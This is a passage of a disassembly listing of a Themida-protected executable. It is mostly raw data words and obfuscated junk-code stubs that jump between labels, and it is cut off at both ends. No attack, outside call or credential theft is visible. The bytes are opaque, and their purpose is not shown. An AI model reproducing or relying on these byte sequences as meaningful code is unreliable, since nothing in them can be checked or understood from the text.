255BD801h, 75D52D96h dd 0FF5922E9h, 15B850FFh, 0C1209964h, 0E94004E0h, 0FFFFD87Eh dd 8324048Bh, 895004C4h, 0F918E9E0h, 0D528FFFFh, 0E9EB005Ah dd 0FFFFC445h, 51D831ADh, 0A0786AB9h, 6CEBE95Dh, 0C181FFFFh dd 4, 6DFFE953h, 0DC2DFFFFh, 896AC8D9h, 62AEE9C5h, 0C129FFFFh dd 0FF4D7EE9h, 3C875EFFh, 24248B24h, 240CD366h, 46CEE99Ch dd 3C89FFFFh, 65ECBF24h, 0D8E947B2h, 87FFFF92h, 53E92434h dd 81FFFFEDh, 0D441D1C6h, 81DE2964h, 0D441D1EEh, 0D75CE964h dd 3C89FFFFh, 41FBF24h, 0F74F22F8h, 73E94FD7h, 8BFFFF83h dd 16E92424h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552867: ; CODE XREF: Themida_:0054C6CEj mov edx, ecx push dword ptr [esp] jmp loc_54EBC8 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 50242C89h, 173286B8h, 3282353Fh, 0C5893F17h, 582434FFh dd 2904C483h, 2434FFEFh, 4C4815Dh, 87000000h, 0E95C243Ch dd 0FFFFAF97h ; --------------------------------------------------------------------------- loc_5528A0: ; CODE XREF: Themida_:0054F35Cj push edi push 3DC11978h pop edi mov ebp, 3DC11977h jmp loc_54B579 ; --------------------------------------------------------------------------- loc_5528B1: ; CODE XREF: Themida_:0054C8DBj sub esp, 4 mov [esp], edi jmp loc_54DF11 ; --------------------------------------------------------------------------- dd 54241489h, 4B9515Ah, 1000000h, 6808E9CAh, 1487FFFFh dd 0EE815C24h, 4FA26261h, 0C681D601h, 4FA26261h, 768EC681h dd 335A3AB8h, 34312434h, 24343324h, 6824248Bh, 0EBFh, 0FF9545E9h dd 3DE950FFh, 81FFFF71h, 9B3BA4EFh, 5FF801D5h, 0FFDF2CE9h dd 0B55153FFh, 0FCE9524Fh, 31FFFFF9h, 8FE92414h db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552923: ; CODE XREF: Themida_:0054E1B1j push dword ptr [esp] jmp loc_550C60 ; --------------------------------------------------------------------------- db 8Fh dd 315C2404h, 0E99C2404h, 0FFFF45BCh, 8904EC83h, 0E954243Ch dd 0FFFFA6A5h, 83320BB9h, 0C3FBE931h, 0F581FFFFh, 4DA171BBh dd 0FFE158E9h, 0ADBD55FFh, 0E903091Dh, 0FFFF75F2h, 4C381h dd 0EC810000h, 4, 0FF241C89h, 8B042474h, 0C481241Ch, 4 dd 8B24048Fh, 0EC812424h, 4, 89240C89h, 50BD55E1h, 8131B061h dd 5720CFCDh, 0DBF58118h, 139F761h, 0E9815DE9h, 4, 0FF5CD0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5529B1: ; CODE XREF: Themida_:0054FDBEj pop dword ptr [esp] jmp loc_54F89A ; --------------------------------------------------------------------------- loc_5529B9: ; CODE XREF: Themida_:00547340j movzx eax, al mov dx, [esp] push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push esp jmp loc_54C7B4 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFE22Fh ; --------------------------------------------------------------------------- loc_5529E4: ; CODE XREF: Themida_:005475BBj xor eax, 3DD83FDCh sub eax, 29DC0229h add eax, 0D9F9B607h jmp loc_54AE5C ; --------------------------------------------------------------------------- loc_5529F8: ; CODE XREF: Themida_:00548117j sub ebp, 678C0DAAh xor ebp, 7CDF56D4h mov eax, ebp mov ebp, [esp] add esp, 4 sub ebx, eax pop eax sub ebx, 9DE6AA01h mov eax, ebx pop ebx sub ebx, eax pop eax and eax, ebx mov ebx, [esp] jmp loc_54A819 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C2414h, 0FFFF44C0h ; --------------------------------------------------------------------------- loc_552A34: ; CODE XREF: Themida_:005483EEj push ecx jmp loc_54C39B ; --------------------------------------------------------------------------- loc_552A3A: ; CODE XREF: Themida_:0054EEA5j push 7023h mov [esp], ecx mov ecx, 27355A21h add [esp+4], ecx pop ecx jmp loc_552195 ; --------------------------------------------------------------------------- loc_552A51: ; CODE XREF: Themida_:0054B72Dj add eax, 4 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_5485E1 ; --------------------------------------------------------------------------- loc_552A67: ; CODE XREF: Themida_:005493FAj pop ebp mov eax, [ecx] pop ecx push edx jmp loc_54FD53 ; --------------------------------------------------------------------------- loc_552A71: ; CODE XREF: Themida_:0054ABF3j mov dh, 27h add bl, 0F8h sub bl, dh push dx mov dh, 0F8h add bl, 0F1h jmp loc_548FFA ; --------------------------------------------------------------------------- dd 682968h, 241C8900h, 79C168h, 6935E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552A96: ; CODE XREF: Themida_:0054F7A0j mov [esp], ecx jmp loc_549207 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFF8C8Eh, 0E952E389h, 0FFFFE854h ; --------------------------------------------------------------------------- loc_552AAC: ; CODE XREF: Themida_:0054FBE8j shl ebx, 5 jmp loc_548068 ; --------------------------------------------------------------------------- loc_552AB4: ; CODE XREF: Themida_:0054FB92j push eax mov al, 62h xchg bh, al jmp loc_54F7A5 ; --------------------------------------------------------------------------- dw 0EF81h dd 510B38D9h, 8324148Bh, 0C78104C4h, 2, 8B243C87h, 24D32424h dd 15E99C24h, 8BFFFF44h, 89532404h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 4EC835Ch, 54241C89h, 19FE9h, 0D830AC00h dd 34B75366h, 8B66F800h, 8956241Ch, 4C681E6h, 0E9000000h dd 0FFFF8261h, 4C48359h, 4ACF68h, 7F8FE900h, 0E9ADFFFFh dd 0FFFF772Dh, 68243489h, 3CFF34D2h, 0D1E9465Eh, 1FFFFEDh dd 58B5E9EAh, 8B66FFFFh, 8951240Ch, 4C181E1h, 0E9000000h dd 0FFFF6256h, 98CFE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552B5E: ; CODE XREF: Themida_:0054DA63j add esp, 4 pop dword ptr [esp] pop esp push esi jmp loc_54CD2A ; --------------------------------------------------------------------------- dw 0EF81h dd 359CB9E8h, 295FF829h, 96E958C2h, 1FFFFDDh, 0FEBE56E9h dd 0F73EF63Bh, 0BCB850DEh, 2964E106h, 0D1E958C6h, 0B9FFFFC9h dd 56341204h, 0C101E983h, 0D1F706E9h, 386F181h, 0DBE952A6h dd 0FFFFFFC2h, 589D1C77h, 9C240419h, 0FFF131E9h, 6D51B8FFh dd 0C531A109h, 0E924048Bh, 0FFFFFA31h, 5BDF8966h, 0E9F83166h dd 0FFFF99DFh, 2C5F1A0Dh, 0FB29E913h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552BE2: ; CODE XREF: Themida_:005522A9j or edi, 4B6B1709h jmp loc_54EA71 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0B6h dd 9C5166C8h, 0FF42FBE9h, 0BFE951FFh, 66FFFF61h, 660EC768h dd 0E9240489h, 0FFFF42E8h, 24048B66h, 4EC81h, 0C8E90000h dd 81FFFFE2h, 4C4h, 87ABE900h, 0EB00FFFFh, 86E9h, 4BB00h dd 0DF010000h, 243C875Bh, 42B6E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552C3E: ; CODE XREF: Themida_:00547122j xor ebx, [esp] jmp loc_5508E2 ; --------------------------------------------------------------------------- dw 489h dd 0E97BB024h, 0FFFFA387h, 21EE68h, 24248900h, 4240483h dd 8B2434FFh, 0C4832404h, 4C48304h, 4EC81h, 1C890000h dd 4BB24h, 52D0000h, 15AFB5Bh, 5B0505D8h, 0E95B5AFBh, 0FFFF7CC2h dd 0E32657B9h, 15E9814Dh, 81020D22h, 275036C1h, 0E9CF01D5h dd 0FFFF997Fh, 5D4FE95Bh, 48BFFFFh, 7D3E6824h, 64E90000h dd 59FFFFD7h, 2850C380h, 50EB80EBh, 5978EB80h, 1C8BD830h dd 4C48324h, 8904EC83h, 0EC81240Ch, 4, 0FFBF10E9h, 0C8295DFFh dd 68525559h, 7B6977E5h, 5A2434FFh, 0FFEB30E9h, 97C181FFh dd 21DB9620h, 0C68159CEh, 299306CAh, 2E26C681h, 0F6814F3Ah dd 99CD3D97h, 0E95EF701h, 0FFFF6EB2h, 5C243C87h, 0BD37E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552D1A: ; CODE XREF: Themida_:0054AEA6j pop edi jmp loc_548784 ; --------------------------------------------------------------------------- loc_552D20: ; CODE XREF: Themida_:0054878Fj push 21Dh mov [esp], edx push 3FE5h jmp loc_54CD9A ; --------------------------------------------------------------------------- dw 8966h dd 96E9241Ch, 50FFFFE8h, 663168h, 0C74FE900h, 0EE81FFFFh dd 8632AD2h, 0C681D601h, 8632AD2h, 8324148Bh, 0F00104C4h dd 5E2434FFh, 4C481h, 0C3310000h, 0E9008F66h, 0FFFF4184h ; --------------------------------------------------------------------------- loc_552D70: ; CODE XREF: Themida_:0054ED50j add ebp, 28CB5534h and eax, ebp pop ebp jmp loc_54BCD7 ; --------------------------------------------------------------------------- dw 0A722h dd 0 dd 6D6F0000h, 0EEEA005Ah, 0FA06h, 69DD0000h, 30400A0h dd 2077FFEh, 20000h, 10000h, 50000h, 0EEEA0000h, 0FA06h dd 4 dup(0) dd 99B70000h, 0AD8A0055h, 3D480055h, 384D0056h, 6E770056h dd 47F60055h, 5A4F0056h, 9AAA0056h, 0A200055h, 0D2490056h dd 0E1960055h, 299D0055h, 7B020056h, 9B930056h, 88E20055h dd 8920055h, 0E0C70056h, 831D0055h, 4A310056h, 2C140056h dd 40340056h, 4FBA0055h, 0B8E20055h, 4B5E0055h, 36F00056h dd 0ED7D0056h, 63C70055h, 62D20055h, 77140056h, 9BAF0055h dd 59C30055h, 0C7BE0055h, 0B3C70055h, 9F550055h, 84190055h dd 0A9C20055h, 76030055h, 65490055h, 88AC0055h, 12510055h dd 746E0056h, 84990056h, 0E7650055h, 40620055h, 3F8F0056h dd 36E70056h, 786A0056h, 0F79B0056h, 0F1020055h, 0D8030055h dd 1A570055h, 579E0056h, 12980055h, 0C1EE0056h, 51800055h dd 33D70056h, 77A80056h, 9BCD0056h, 75050055h, 48D10056h dd 49590055h, 0C7ED0056h, 86230055h, 44630056h, 31CC0056h dd 8C110056h, 54F0056h, 50DC0056h, 0D9E90056h, 4C750055h dd 0F53C0056h, 12D90055h, 5BA10056h, 0AF8B0055h, 0E7EA0055h dd 45AB0055h, 0F4950056h, 45E50055h, 3C500056h, 91120056h dd 9830055h, 981A0056h, 47F70055h, 57120055h, 36980056h dd 0AA940055h, 0E7A00055h, 0BA2B0055h, 31C40055h, 42300056h dd 0EC760056h, 9EA80055h, 166A0055h, 876A0056h, 8A780055h dd 0BB30056h, 0B5350056h, 8F4D0055h, 0D1FF0055h, 13B60055h dd 266E0056h, 920056h, 25DB0056h, 0FB8C0056h, 60930055h dd 0E3F10055h, 24870055h, 42700056h, 96690055h, 779A0055h dd 51F40056h, 5DAA0056h, 8BEE0055h, 0B20056h, 0C6BB0056h dd 873A0055h, 0ACD10056h, 96750055h, 56D80055h, 0C96D0055h dd 41D90055h, 85140055h, 1D270056h, 0BDC20056h, 932F0055h dd 58CF0055h, 6B210055h, 2CA20056h, 7C1C0056h, 56690055h dd 5FAC0056h, 111A0056h, 0EF190056h, 20910055h, 5CE90056h dd 0C4920056h, 46B50055h, 0B9350056h, 4C010055h, 54CD0055h dd 86BE0055h, 371F0056h, 787A0055h, 70DA0056h, 0AB8A0056h dd 7F580055h, 0C2BD0056h, 3A730055h, 8E260055h, 0ACFF0055h dd 60CE0055h, 0FC9C0055h, 19830055h, 1C860056h, 2B290056h dd 0EF510056h, 4D2B0055h, 9AE60055h, 81910055h, 82150056h dd 53590056h, 814F0055h, 48D90055h, 2D780055h, 3820056h dd 0F7DB0056h, 63B00055h, 9C600056h, 0E8FCh, 815F0000h dd 4E417CEFh, 81C78B06h, 4E3E94C7h, 2C473B06h, 13EB0275h dd 0B92C4789h, 0A7h, 440105EBh, 0B49408Fh, 8BF775C9h, 8B242474h dd 0B9F003DEh, 1, 0FF0C033h, 75304FB1h db 0F7h ; --------------------------------------------------------------------------- loc_5530A5: ; CODE XREF: Themida_:005533F3j ; Themida_:loc_553AC1j ... lodsb push ebx jmp loc_55E93D ; --------------------------------------------------------------------------- loc_5530AC: ; CODE XREF: Themida_:0055E631j add esp, 4 sub dl, 99h sub ah, dl pop edx jmp loc_563475 ; --------------------------------------------------------------------------- dw 0C281h dd 7AAE62D1h, 0AAC28159h, 53604C13h, 0D86644BBh, 0C3814B23h dd 6F2E4608h, 0B6C3814Bh, 0E96CF953h, 145FFh, 6804C483h dd 7FAEh, 68243489h, 4, 56BBE9h, 1FE95B00h, 2D000079h dd 577B7727h, 11F38E9h, 4C68100h, 33000000h, 34312434h dd 24343324h, 15B98E9h, 46BD5B00h, 18667DDh, 2434FFDDh dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 0C4835C24h dd 0FFE82104h, 0FAE92434h, 66000119h, 5E66F329h, 8904EC83h dd 6866242Ch, 5D665097h, 0AFE94566h, 0B000004Ah, 5E0C02Bh dd 7324A22Ch, 1521DE9h db 0 ; --------------------------------------------------------------------------- loc_55316D: ; CODE XREF: Themida_:0055FA48j dec esi push edi jmp loc_55FFC4 ; --------------------------------------------------------------------------- dd 0C381C301h, 6AE5D0Bh, 7599E950h, 0E95C0000h, 613h, 42474FFh dd 0BDA9E9h, 0C1D7F700h, 0C78108EFh, 236AD0E9h, 815FFE29h dd 4F58FFC6h, 34875B72h, 24248B24h, 5282E9h, 24048300h dd 24048F04h, 8904EC83h, 0BA522434h, 4, 148BD689h, 42FCE924h dd 0C8B0001h, 2CB4E924h, 89500000h, 405E0h, 4CE90000h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_5531E3: ; CODE XREF: Themida_:00558C32j pop esp sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], eax mov eax, 3E3C0D88h push ebx jmp loc_561F26 ; --------------------------------------------------------------------------- loc_5531FE: ; CODE XREF: Themida_:00561305j sub ebp, 522310C4h shl ebp, 8 push ebx mov ebx, 3D395AD7h jmp loc_56811D ; --------------------------------------------------------------------------- dw 0DF01h dd 7603C781h, 0EF8147AAh, 617103h, 10C39E9h db 0 ; --------------------------------------------------------------------------- loc_553225: ; CODE XREF: Themida_:005689F1j mov ebx, 0EB47964Ah add ecx, ebx pop ebx jmp loc_55CEBB ; --------------------------------------------------------------------------- aWs db 'WéÕê',0 align 4 dd 5A66F300h, 4504E9h, 2424D200h, 0FE5BE99Ch, 815EFFFFh dd 0A46158EAh, 0FE4FE93Bh, 0E668FFFFh, 89000077h, 0FBBD242Ch dd 5261067Dh, 0CD41DEBAh, 12F28165h, 0F72DDE7Bh, 0E5C68D2h dd 14890000h, 74FF5524h, 2C8B0424h, 7917E924h, 0C32C0000h dd 0C304F828h, 4BA5E95Bh, 34FF0000h, 4D86E924h, 0D7010001h dd 0D371E95Ah, 0C6810000h, 7ACD4881h, 5AA3F681h, 2F2D54D2h dd 0E9530D1Dh, 724Eh ; --------------------------------------------------------------------------- loc_5532B8: ; CODE XREF: Themida_:00567CA8j pop esi add ebx, 6E08256Ah or ebx, 5ECA6F93h not ebx sub ebx, 0C4C96BB6h and eax, ebx pop ebx xor eax, 8200404h push ecx mov ecx, eax push esi mov esi, ecx mov edi, esi jmp loc_557B00 ; --------------------------------------------------------------------------- dw 555Dh dd 4BDh, 5DE80100h, 31240433h, 4332404h, 24248B24h, 8324048Bh dd 48904ECh, 4EC8124h, 68000000h, 5E8Ah, 83242489h, 8F042404h dd 0E9522404h, 34EEh, 815AD601h, 0FFFFFFC6h, 0FFEE83FFh dd 276E6857h, 34890000h, 23BCBE24h, 0EE812EB4h, 0CF031B88h dd 3DA1E951h db 1, 0 ; --------------------------------------------------------------------------- loc_553342: ; CODE XREF: Themida_:00557C41j push dword ptr [esp+4] mov ebx, [esp] push ebp jmp loc_560A40 ; --------------------------------------------------------------------------- loc_55334F: ; CODE XREF: Themida_:00557142j push esi mov esi, 4 add ebp, esi jmp loc_5536CA ; --------------------------------------------------------------------------- dd 0C5FEEDD0h, 0E905EDC0h, 2222h, 815BDE01h, 0A13550EEh dd 1B7CE969h, 0DE870000h, 0DE87D3F7h, 0D985F681h, 0F709B370h dd 112A6E9h, 0C7015B00h, 0E924048Bh, 0B0F7h, 4C681h, 0B9510000h dd 2, 3359CE29h, 34312434h, 24343324h, 6624248Bh, 0E9241489h dd 9C64h, 0BA52E589h, 2F6761EDh, 5802BD55h, 0D3E94B26h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533CB: ; CODE XREF: Themida_:00564611j push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 0E5E9C4FEh, 5B0000C3h, 808AE280h, 0BBE9B4E2h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55340B: ; CODE XREF: Themida_:00567122j add edi, 3C766A2Bh sub esp, 4 mov [esp], edx mov edx, 79E774E2h sub edi, edx jmp loc_565338 ; --------------------------------------------------------------------------- loc_553426: ; CODE XREF: Themida_:0055850Bj push dword ptr [esp+4] jmp loc_555F15 ; --------------------------------------------------------------------------- align 10h dd 535B66F8h, 806BB252h, 0CAFEE3F2h, 14D8EE9h, 242C3100h dd 5C242C33h, 9CC88566h, 0FFFC54E9h, 81565DFFh, 4ECh, 240C8900h dd 0A34A33B9h, 66BEE925h, 0C1830000h, 0A697E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55346E: ; CODE XREF: Themida_:0055B1A1j add esi, ebp pop ebp jmp loc_55A949 ; --------------------------------------------------------------------------- dw 0F781h dd 178A9179h, 4E05E9h, 240C8B00h, 0AF11E9h db 0 ; --------------------------------------------------------------------------- loc_553489: ; CODE XREF: Themida_:0056436Cj sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_561C70 ; --------------------------------------------------------------------------- db 0B8h dd 2, 472CC781h, 0C701242Bh, 472CEF81h, 86E9242Bh, 0BA000094h dd 1F824814h, 5D5BEA81h, 4AE9E2B3h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5534C7: ; CODE XREF: Themida_:00564742j sub ebp, 40B63778h jmp loc_564311 ; --------------------------------------------------------------------------- loc_5534D2: ; CODE XREF: Themida_:00567A11j mov ebp, [esp] jmp loc_55C7F3 ; --------------------------------------------------------------------------- dw 0D7F7h dd 0F7F7BD55h, 0EF31CD0Dh, 80A7E9h db 0 ; --------------------------------------------------------------------------- loc_5534E9: ; CODE XREF: Themida_:0055AF21j xor ebp, 2730815h sub ebp, 5E01A5B5h push 5644h jmp loc_56614D ; --------------------------------------------------------------------------- loc_5534FF: ; CODE XREF: Themida_:0055E6C8j add esp, 4 jmp loc_566492 ; --------------------------------------------------------------------------- db 66h dd 1B15150h, 0ECD3E9h db 0 ; --------------------------------------------------------------------------- loc_553511: ; CODE XREF: Themida_:005545A2j pop dword ptr [edi+20h] jmp loc_55CA59 ; --------------------------------------------------------------------------- loc_553519: ; CODE XREF: Themida_:0056348Fj add esi, 626970A1h inc esi xor esi, 46FA34D8h shr esi, 5 xor esi, 2B2B6D0Bh xor esi, 529D0DC7h mov eax, esi pop esi xor ebx, eax pop eax add edi, ebx mov ebx, [esp] add esp, 4 sub edi, 4 xor edi, [esp] jmp loc_566C0A ; --------------------------------------------------------------------------- loc_553551: ; CODE XREF: Themida_:0055358Fj pop eax sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55CB17 ; --------------------------------------------------------------------------- dw 3AE9h dd 5AFFFFFBh, 66C0B60Fh, 0E924148Bh, 2F72h ; --------------------------------------------------------------------------- loc_553578: ; CODE XREF: Themida_:00564FC3j push 54B7h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push eax mov eax, 4 add ebx, eax jmp loc_553551 ; --------------------------------------------------------------------------- dd 5C241C87h, 881E955h, 0DF290001h, 7DC7815Bh, 89718B0Fh dd 87525FFAh, 0D5F7242Ch, 0E9242C87h, 133Eh, 96E9B704h dd 0BB0000BDh, 4, 4245C01h, 2434FF5Bh, 0D4ADE958h, 0FB310000h dd 9EE9565Fh, 6600000Ch, 661B8205h, 2D66D029h, 0E95A1B82h dd 1157Ah, 4C481h, 9F680000h, 89000054h, 38E92414h, 45000051h dd 0F187EE87h, 3B2DE981h, 0CA01A1FAh, 24148759h, 4030E9h dd 78A3BF00h, 0FB01734Bh, 81243C8Bh, 4C4h, 68FB0100h, 3BF6h dd 968FE9h, 7E1B3500h, 0D0F71698h, 0B328E9h db 0 ; --------------------------------------------------------------------------- loc_55363D: ; CODE XREF: Themida_:0055AE84j xchg ebp, [esp] pop esp mov [esp], eax jmp loc_564604 ; --------------------------------------------------------------------------- db 81h, 0C6h, 8Fh dd 9E629EFh, 0B9515EF0h, 610E3534h, 10541E9h, 81CD0100h dd 40109FEDh, 0A948E941h, 0D5F70000h, 3968DDF7h, 8900003Ah dd 0B8502434h, 4C0B4D8Eh, 8605E405h, 0E8C14839h, 5BD32D03h dd 0C6896FBEh, 6CED8158h, 0E93F2076h, 2F58h, 24048B66h dd 4EC81h, 7AE90000h, 5B000080h, 8904EC83h, 0BE2434h, 57010F57h dd 0BFh, 31F72900h, 31F731FEh, 0DEF75FFEh, 3896E94Eh db 1, 0 ; --------------------------------------------------------------------------- loc_5536CA: ; CODE XREF: Themida_:00553357j mov esi, [esp] add esp, 4 push ecx mov ecx, 5B82267Fh jmp loc_563546 ; --------------------------------------------------------------------------- dw 0DDF7h dd 2CD5E945h, 81660001h, 602246Ch, 5401662Eh, 81660224h dd 6022444h, 148B662Eh, 7B0D6824h, 14890000h, 0E9E28924h dd 614Ah, 0A0EF81h, 0C78108D3h, 42EDDF41h, 0DDE9FD89h dd 66000143h, 68240C8Bh, 4DFFh, 89240489h, 6EC5E9E0h, 0E9540000h dd 0ADE7h ; --------------------------------------------------------------------------- loc_553738: ; CODE XREF: Themida_:00561EE5j pop edi sub esi, 39081135h mov ebx, [esp] add esp, 4 jmp loc_55F15C ; --------------------------------------------------------------------------- dw 4BAh dd 1000000h, 34875AD6h, 4AE95C24h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55375B: ; CODE XREF: Themida_:0055A32Fj mov edx, 333A6653h add ecx, edx pop edx sub ecx, eax jmp loc_55A10C ; --------------------------------------------------------------------------- loc_55376A: ; CODE XREF: Themida_:00554D09j push esi mov esi, 4 jmp loc_5654E1 ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0F0010000h, 42D5Eh, 4870000h, 2C895C24h, 32706824h dd 1C890000h, 305CBB24h, 55E9439Ah, 890000BCh, 22B42404h dd 644BE9h db 0 ; --------------------------------------------------------------------------- loc_5537A5: ; CODE XREF: Themida_:005569A5j add ebp, 19C88D0Eh sub edx, ebp pop ebp mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp and eax, edx pop edx shr eax, 8 jmp loc_559622 ; --------------------------------------------------------------------------- dd 56585450h, 874276BEh, 46B3E90Eh db 1, 0 ; --------------------------------------------------------------------------- loc_5537DA: ; CODE XREF: Themida_:005675E0j mov edi, [esp] jmp loc_55F173 ; --------------------------------------------------------------------------- dw 0D1F6h dd 11A38E9h, 80CEFE00h, 0CE80E0EEh, 90F680D8h, 0EE80CEFEh dd 0E92004E9h, 85D0h, 0B7241C89h, 4E7C024h, 6616B551h dd 9D92E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553812: ; CODE XREF: Themida_:0055DA48j push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx mov ebx, esp push 74D5h mov [esp], eax push 4 pop eax add ebx, eax mov eax, [esp] add esp, 4 jmp loc_55C52B ; --------------------------------------------------------------------------- dd 0EB80C328h, 0AFEB80EBh, 0E92434FFh, 15243h, 0C058B753h dd 0F78002EFh, 1AC78062h, 2CA7C780h, 4F8285Dh, 241C8B5Dh dd 4C481h, 2C5B0000h, 4D8288Ah, 0E9CB2C8Ah, 0BCA1h, 1AC6E981h dd 348B4A1Bh, 4C48124h, 55000000h, 4BDh, 3527E900h, 4F050001h dd 0E932F535h, 60D7h ; --------------------------------------------------------------------------- loc_55389C: ; CODE XREF: Themida_:0055DDE8j push 4 pop eax jmp loc_556CB0 ; --------------------------------------------------------------------------- loc_5538A7: ; CODE XREF: Themida_:0055CDEAj push esi push edx mov edx, 15E97DA7h add edx, 156ED18Fh jmp loc_55631D ; --------------------------------------------------------------------------- db 59h, 87h, 4 dd 24248B24h, 242CD366h, 0F7DBE99Ch, 2540FFFFh, 6E3C2D36h dd 404BE9h, 0D6F74600h, 0E94ED6F7h, 491Eh ; --------------------------------------------------------------------------- loc_5538E0: ; CODE XREF: Themida_:0055784Cj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov eax, 688F49DBh jmp loc_565F29 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48159h, 0E9000000h, 0FFFFF799h, 4BFh, 5FF90100h, 5C240C87h dd 0DAB35366h, 8B66D800h, 0C483241Ch, 53D80002h, 0B8E9DAB7h dd 8B000115h, 0C481242Ch, 4, 525F5457h, 9764E9h, 240C8900h dd 0B63B38B9h, 0C1D9F72Ah, 0E95208E9h, 0FFFFFB63h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebp jmp loc_5631F2 ; --------------------------------------------------------------------------- db 0BBh, 4, 0 dd 0C6810000h, 71A315E2h, 0D745E9h, 0B6685100h, 0E978D36Dh dd 18D9h, 4C4815Fh, 53000000h, 0C3815B54h, 4, 0FEC9E9h db 0 ; --------------------------------------------------------------------------- loc_5539A5: ; CODE XREF: Themida_:0056288Dj sub eax, 559E0A2Eh jmp loc_5627E4 ; --------------------------------------------------------------------------- loc_5539AF: ; CODE XREF: Themida_:00560FB3j mov [esp], eax push esi mov esi, 75C25A0Fh mov eax, 0E2437D1h xor eax, esi pop esi shl eax, 2 sub eax, 0EF99B774h add edx, eax jmp loc_55E086 ; --------------------------------------------------------------------------- loc_5539CF: ; CODE XREF: Themida_:0055905Aj mov ecx, [esp] add esp, 4 push esi mov esi, 3A0407DCh not esi push ebx jmp loc_55F60C ; --------------------------------------------------------------------------- dw 1489h aHA db '$hÝA',0 align 2 dw 1C89h dd 2D6A6824h, 1C8B55B5h, 4C48324h, 32D8B850h, 0E0C1009Ah dd 11092508h, 0DF056ACBh, 0C147202Ah, 0E94002E0h, 8DB3h dd 0FE0DE180h, 85E980C1h, 5159CC88h, 0E18093B1h, 3E9C0C9h dd 6608E9C0h, 2870B252h, 0C05A66D1h, 0F18005E9h, 59CC00F8h dd 8603ECC0h, 0DA8852DCh, 0D388D2F6h, 20E1E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A52: ; CODE XREF: Themida_:00555436j push small 2D5Eh mov [esp], cx mov ch, 0EDh neg ch sub ch, 51h add ch, 93h not ch inc ch push ebx mov bh, 0F9h or bh, 90h jmp loc_554128 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 1111h, 81241C89h, 4ECh, 48F5400h, 191E924h dd 0BB530000h, 19334715h, 611BB951h, 0E9813F40h, 0E04943BAh dd 7590E9h db 0 ; --------------------------------------------------------------------------- loc_553AA5: ; CODE XREF: Themida_:00562F69j mov [esp], esi push ebp jmp loc_559802 ; --------------------------------------------------------------------------- dw 0CD89h dd 59FCBF59h, 0C7815ADDh, 718650Dh, 498DE9h db 0 ; --------------------------------------------------------------------------- loc_553AC1: ; CODE XREF: Themida_:00554205j jmp loc_5530A5 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 0E9241C87h, 13A4Fh, 6804C483h, 679h, 0B5240C89h dd 5579E9C8h, 3C870000h, 0D7E3E924h, 65BD0000h, 0C16E4803h dd 0D14502EDh, 2E5C1E5h, 3A9CF581h, 0F745D5D6h, 22E945DDh dd 8100011Ah, 0A078EF5h, 5DE8292Ah, 8B2434FFh, 0C481243Ch dd 4, 2CA268h, 240C8900h, 84E9E189h db 3Dh, 1, 0 ; --------------------------------------------------------------------------- loc_553B2F: ; CODE XREF: Themida_:00555FA3j mov ebx, 3C332548h shl ebx, 3 add ebx, 0D5F1975Fh add ebp, 75C91EFBh add ebp, 691970A4h add ebp, ebx sub ebp, 691970A4h jmp loc_55ED48 ; --------------------------------------------------------------------------- dw 1C8Bh dd 20FAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553B5E: ; CODE XREF: Themida_:0055C9DBj shl edx, 1 push eax mov eax, 0FFFFFFFFh sub [edi+24h], eax push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 6B63h jmp loc_55ABF3 ; --------------------------------------------------------------------------- loc_553B80: ; CODE XREF: Themida_:0055CA26j pop esi jmp loc_55428B ; --------------------------------------------------------------------------- dw 0F580h aZs db '‡éÃÈ',0 align 2 loc_553B8E: ; CODE XREF: Themida_:00555E1Cj mov [esp], ecx push 588Eh mov [esp], ebx push 4C6F39CCh pop ebx dec ebx push eax jmp loc_55EB91 ; --------------------------------------------------------------------------- dw 3431h dd 34AE924h, 14330001h, 7CD6E924h, 835F0000h, 3C8904ECh dd 15FCE924h, 3C890000h, 4BF24h, 0BF570000h, 105B4861h dd 